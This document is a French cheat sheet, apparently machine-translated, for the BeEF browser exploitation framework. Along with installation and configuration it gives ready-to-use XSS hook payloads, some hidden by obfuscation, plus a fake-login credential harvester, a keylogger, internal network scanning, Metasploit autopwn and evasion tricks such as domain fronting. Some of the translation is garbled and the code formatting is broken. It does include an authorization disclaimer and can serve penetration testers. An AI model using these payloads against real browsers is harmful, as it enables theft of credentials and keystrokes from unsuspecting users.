BeEF Browser Exploitation Framework Cheat Sheet
Aperçu général
BeEF (Browser Exploitation Framework) est un outil de test de pénétration qui se concentre sur le navigateur Web. Il permet au testeur de pénétration professionnel d'évaluer la posture de sécurité réelle d'un environnement cible en utilisant des vecteurs d'attaque côté client.
C'est pas vrai. Attention : Cet outil est destiné uniquement aux tests de pénétration et aux évaluations de sécurité autorisés. Assurez-vous d'avoir une autorisation appropriée avant d'utiliser dans tout environnement.
Installation
Kali Linux
# Install from repositories
sudo apt update
sudo apt install beef-xss
# Start BeEF
sudo beef-xss
Ubuntu/Debian
# Install dependencies
sudo apt update
sudo apt install git ruby ruby-dev bundler sqlite3 libsqlite3-dev
# Clone repository
git clone https://github.com/beefproject/beef.git
cd beef
# Install Ruby gems
bundle install
# Start BeEF
./beef
```_
### Installation Docker
```bash
# Pull official Docker image
docker pull beefproject/beef
# Run BeEF in Docker
docker run -p 3000:3000 -p 6789:6789 -p 61985:61985 -p 61986:61986 beefproject/beef
# Run with persistent data
docker run -v /opt/beef:/beef/data -p 3000:3000 -p 6789:6789 beefproject/beef
```_
### Installation manuelle
```bash
# Install Ruby and dependencies
curl -sSL https://get.rvm.io|bash
source ~/.rvm/scripts/rvm
rvm install 3.0.0
rvm use 3.0.0 --default
# Clone and setup BeEF
git clone https://github.com/beefproject/beef.git
cd beef
bundle install
./beef
Utilisation de base
Démarrage de BeEF
# Start BeEF server
./beef
# Start with custom configuration
./beef -c config.yaml
# Start with specific interface
./beef -x
# Start in debug mode
./beef -v
Accès à l'interface Web
# Default credentials
# Username: beef
# Password: beef
# Access web interface
# http://localhost:3000/ui/panel
# Hook URL for browsers
# http://localhost:3000/hook.js
Configuration
Configuration principale (config.yaml)
beef:
version: '0.5.4.0'
debug: false
crypto_default_value_length: 80
# Web server configuration
http:
debug: false
host: "0.0.0.0"
port: "3000"
# HTTPS configuration
https:
enable: false
host: "0.0.0.0"
port: "3443"
cert: "beef.crt"
key: "beef.key"
# Database configuration
database:
driver: "sqlite"
db_file: "beef.db"
# Authentication
credentials:
user: "beef"
passwd: "beef"
Configuration d'extension
beef:
extension:
admin_ui:
enable: true
social_engineering:
enable: true
metasploit:
enable: false
host: "127.0.0.1"
port: 55552
dns:
enable: false
port: 53
proxy:
enable: false
port: 8080
Déploiement au crochet
Injection au crochet de base
<script src="http://beef-server:3000/hook.js"></script>
<script>
var script = document.createElement('script');
script.src = 'http://beef-server:3000/hook.js';
document.head.appendChild(script);
</script>
<script>
eval(String.fromCharCode(118,97,114,32,115,61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,115,46,115,114,99,61,39,104,116,116,112,58,47,47,98,101,101,102,45,115,101,114,118,101,114,58,51,48,48,48,47,104,111,111,107,46,106,115,39,59,100,111,99,117,109,101,110,116,46,104,101,97,100,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59));
</script>
Techniques avancées de crochet
// Dynamic hook loading
function loadBeef() \\\\{
if (typeof beef === 'undefined') \\\\{
var script = document.createElement('script');
script.src = 'http://beef-server:3000/hook.js';
script.onload = function() \\\\{
console.log('BeEF hook loaded');
\\\\};
document.head.appendChild(script);
\\\\}
\\\\}
// Conditional hook loading
if (document.domain === 'target-site.com') \\\\{
loadBeef();
\\\\}
// Time-delayed hook
setTimeout(function() \\\\{
loadBeef();
\\\\}, 5000);
Crocheter via XSS
// Reflected XSS hook
http://vulnerable-site.com/search?q=<script src="http://beef-server:3000/hook.js"></script>
// Stored XSS hook
<img src="x" onerror="var s=document.createElement('script');s.src='http://beef-server:3000/hook.js';document.head.appendChild(s);">
// DOM-based XSS hook
javascript:var s=document.createElement('script');s.src='http://beef-server:3000/hook.js';document.head.appendChild(s);
Modules de commande
Informations sur le navigateur
# Get browser details
Browser > Get Browser Details
# Get system information
Browser > Get System Info
# Get installed plugins
Browser > Get Installed Plugins
# Get browser history
Browser > Get Visited URLs
# Get cookies
Browser > Get All Cookies
Génie social
# Fake notification bar
Social Engineering > Fake Notification Bar
# Pretty theft
Social Engineering > Pretty Theft
# Clippy
Social Engineering > Clippy
# Fake flash update
Social Engineering > Fake Flash Update
# Simple hijacker
Social Engineering > Simple Hijacker
Découverte du réseau
# Internal network fingerprinting
Network > Fingerprint Network
# Port scanner
Network > Port Scanner
# Cross-origin scanner
Network > Cross-Origin Scanner
# DNS enumeration
Network > DNS Enumeration
Persistance
# Man-in-the-browser
Persistence > Man-In-The-Browser
# Confirm close tab
Persistence > Confirm Close Tab
# Create invisible iframe
Persistence > Create Invisible Iframe
# Tunnel
Persistence > Tunnel
Attaques avancées
Récolte crédible
// Custom credential harvester
beef.execute(function() \\\\{
// Create fake login form
var overlay = document.createElement('div');
overlay.style.cssText = 'position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.8);z-index:9999;';
var form = document.createElement('div');
form.innerHTML = `
<div style="position:absolute;top:50%;left:50%;transform:translate(-50%,-50%);background:white;padding:30px;border-radius:5px;">
<h3>Session Expired - Please Re-authenticate</h3>
<input type="text" id="username" placeholder="Username" style="width:100%;padding:10px;margin:10px 0;">
<input type="password" id="password" placeholder="Password" style="width:100%;padding:10px;margin:10px 0;">
<button onclick="submitCreds()" style="width:100%;padding:10px;background:#007cba;color:white;border:none;">Login</button>
</div>
`;
overlay.appendChild(form);
document.body.appendChild(overlay);
window.submitCreds = function() \\\\{
var username = document.getElementById('username').value;
var password = document.getElementById('password').value;
// Send credentials to BeEF
beef.net.send('/api/credentials', 0, 'POST',
'username=' + encodeURIComponent(username) +
'&password=' + encodeURIComponent(password)
);
overlay.remove();
\\\\};
\\\\});
Enregistreur de frappe
// Simple keylogger
beef.execute(function() \\\\{
var keys = '';
var lastSent = Date.now();
document.addEventListener('keypress', function(e) \\\\{
keys += String.fromCharCode(e.which);
// Send keys every 10 seconds or 100 characters
if (Date.now() - lastSent > 10000||keys.length > 100) \\\\{
beef.net.send('/api/keylog', 0, 'POST', 'keys=' + encodeURIComponent(keys));
keys = '';
lastSent = Date.now();
\\\\}
\\\\});
\\\\});
Navigateur Autopwn
// Browser exploitation chain
beef.execute(function() \\\\{
// Check for vulnerabilities
var exploits = [
\\\\{name: 'CVE-2021-1234', check: function() \\\\{ return navigator.userAgent.includes('Chrome/89'); \\\\}\\\\},
\\\\{name: 'CVE-2020-5678', check: function() \\\\{ return navigator.userAgent.includes('Firefox/85'); \\\\}\\\\}
];
exploits.forEach(function(exploit) \\\\{
if (exploit.check()) \\\\{
beef.net.send('/api/exploit', 0, 'POST', 'exploit=' + exploit.name);
\\\\}
\\\\});
\\\\});
Mise en réseau
// Internal network scanning
beef.execute(function() \\\\{
var targets = [];
var baseIP = '192.168.1.';
for (var i = 1; i <= 254; i++) \\\\{
var ip = baseIP + i;
var img = new Image();
img.onload = function() \\\\{
targets.push(this.src.split('/')[2]);
\\\\};
img.src = 'http://' + ip + '/favicon.ico?' + Math.random();
\\\\}
setTimeout(function() \\\\{
beef.net.send('/api/network', 0, 'POST', 'targets=' + JSON.stringify(targets));
\\\\}, 5000);
\\\\});
Intégration avec d'autres outils
Intégration des métadonnées
# Enable Metasploit extension in config.yaml
metasploit:
enable: true
host: "127.0.0.1"
port: 55552
# Start Metasploit RPC server
msfrpcd -P password -S -a 127.0.0.1 -p 55552
# Use browser autopwn
use auxiliary/server/browser_autopwn2
set LHOST 192.168.1.100
set SRVHOST 192.168.1.100
run
Boîte à outils en génie social (SET)
# Use SET with BeEF
setoolkit
# Select Social-Engineering Attacks
# Select Website Attack Vectors
# Select Credential Harvester Attack Method
# Select Site Cloner
# Enter target URL and BeEF hook
API REST personnalisée
# Python script for BeEF API interaction
import requests
import json
class BeefAPI:
def __init__(self, host='localhost', port=3000):
self.base_url = f"http://\\\\{host\\\\}:\\\\{port\\\\}/api"
self.token = None
def authenticate(self, username='beef', password='beef'):
auth_data = \\\\{
'username': username,
'password': password
\\\\}
response = requests.post(f"\\\\{self.base_url\\\\}/admin/login", json=auth_data)
if response.status_code == 200:
self.token = response.json()['token']
return True
return False
def get_hooked_browsers(self):
headers = \\\\{'Authorization': f'Bearer \\\\{self.token\\\\}'\\\\}
response = requests.get(f"\\\\{self.base_url\\\\}/hooks", headers=headers)
return response.json()
def execute_module(self, hook_id, module_id, options=\\\\{\\\\}):
headers = \\\\{'Authorization': f'Bearer \\\\{self.token\\\\}'\\\\}
data = \\\\{
'module_id': module_id,
'options': options
\\\\}
response = requests.post(f"\\\\{self.base_url\\\\}/modules/\\\\{hook_id\\\\}",
json=data, headers=headers)
return response.json()
# Usage example
beef = BeefAPI()
beef.authenticate()
browsers = beef.get_hooked_browsers()
print(f"Hooked browsers: \\\\{len(browsers)\\\\}")
Techniques d'évacuation
Obfuscation de crochet
// Base64 encoded hook
var encoded = 'dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7cy5zcmM9J2h0dHA6Ly9iZWVmLXNlcnZlcjozMDAwL2hvb2suanMnO2RvY3VtZW50LmhlYWQuYXBwZW5kQ2hpbGQocyk7';
eval(atob(encoded));
// Hex encoded hook
var hex = '766172207336646f63756d656e742e637265617465456c656d656e74282773637269707427293b732e7372633d27687474703a2f2f626565662d7365727665723a333030302f686f6f6b2e6a73273b646f63756d656e742e686561642e617070656e644368696c642873293b';
eval(hex.match(/.\\\\{2\\\\}/g).map(function(h) \\\\{ return String.fromCharCode(parseInt(h, 16)); \\\\}).join(''));
// Dynamic construction
var parts = ['ht', 'tp:', '//', 'beef-', 'server:', '3000', '/hook.', 'js'];
var url = parts.join('');
var s = document.createElement('script');
s.src = url;
document.head.appendChild(s);
Domain Fronting
// Use CDN for domain fronting
var script = document.createElement('script');
script.src = 'https://cdn.example.com/beef/hook.js';
script.setAttribute('data-host', 'beef-server.com');
document.head.appendChild(script);
Steganographie
// Hide hook in image metadata
function extractHookFromImage(imageUrl) \\\\{
var canvas = document.createElement('canvas');
var ctx = canvas.getContext('2d');
var img = new Image();
img.onload = function() \\\\{
canvas.width = img.width;
canvas.height = img.height;
ctx.drawImage(img, 0, 0);
var imageData = ctx.getImageData(0, 0, 1, 1);
var data = imageData.data;
// Extract hidden data from LSB
var hookUrl = extractLSB(data);
loadHook(hookUrl);
\\\\};
img.src = imageUrl;
\\\\}
Rapports et analyse
Analyse des séances
# Analyze BeEF sessions
import sqlite3
import json
def analyze_beef_sessions(db_path):
conn = sqlite3.connect(db_path)
cursor = conn.cursor()
# Get hooked browsers
cursor.execute("SELECT * FROM hooked_browsers")
browsers = cursor.fetchall()
# Get command results
cursor.execute("SELECT * FROM command_modules")
commands = cursor.fetchall()
# Generate report
report = \\\\{
'total_browsers': len(browsers),
'total_commands': len(commands),
'browsers': browsers,
'commands': commands
\\\\}
return report
# Usage
report = analyze_beef_sessions('/path/to/beef.db')
print(json.dumps(report, indent=2))
Analyse chronologique
# Create attack timeline
import matplotlib.pyplot as plt
import datetime
def create_timeline(sessions):
timestamps = []
events = []
for session in sessions:
timestamp = datetime.datetime.fromisoformat(session['created_at'])
timestamps.append(timestamp)
events.append(f"Browser hooked: \\\\{session['browser_name']\\\\}")
plt.figure(figsize=(12, 6))
plt.plot(timestamps, range(len(timestamps)), 'o-')
plt.title('BeEF Attack Timeline')
plt.xlabel('Time')
plt.ylabel('Events')
plt.xticks(rotation=45)
plt.tight_layout()
plt.savefig('beef_timeline.png')
Dépannage
Questions communes
# Port already in use
sudo netstat -tulpn|grep :3000
sudo kill -9 $(lsof -t -i:3000)
# Ruby version issues
rvm list
rvm use 3.0.0
bundle install
# Database issues
rm beef.db
./beef
# Permission issues
sudo chown -R $USER:$USER /path/to/beef
chmod +x beef
Mode de débogage
# Start BeEF in debug mode
./beef -v
# Check logs
tail -f beef.log
# Browser console debugging
# Open browser developer tools
# Check for JavaScript errors
# Monitor network requests
Questions relatives aux réseaux
# Check firewall rules
sudo ufw status
sudo iptables -L
# Test connectivity
curl http://localhost:3000/hook.js
# Check DNS resolution
nslookup beef-server.com
Considérations en matière de sécurité
Sécurité opérationnelle
- Utiliser HTTPS pour les déploiements de production
- Modifier les identifiants par défaut
- Mettre en place des contrôles d'accès appropriés
- Surveillance de détection
- Utiliser des domaines et des certificats légitimes
Droit et éthique
- Obtenir une autorisation appropriée
- Suivre la divulgation responsable
- Respecter la vie privée et la protection des données
- Documenter toutes les activités
- Assurer une formation à la sensibilisation à la sécurité
Ressources
- [Site Web officiel de BeEF] (LINK_5)
- [BEEF GitHub Repository] (LINK_5)
- [BeEF Wiki] (LINK_5)
- [Essais de sécurité du navigateur] (LINK_5)
- [Vecteurs d'attaque à portée de la main] (LINK_5)
*Cette feuille de triche fournit une référence complète pour l'utilisation du cadre d'exploitation du navigateur BeEF. Assurez-vous toujours d'avoir une autorisation appropriée avant d'effectuer des évaluations de sécurité du navigateur. *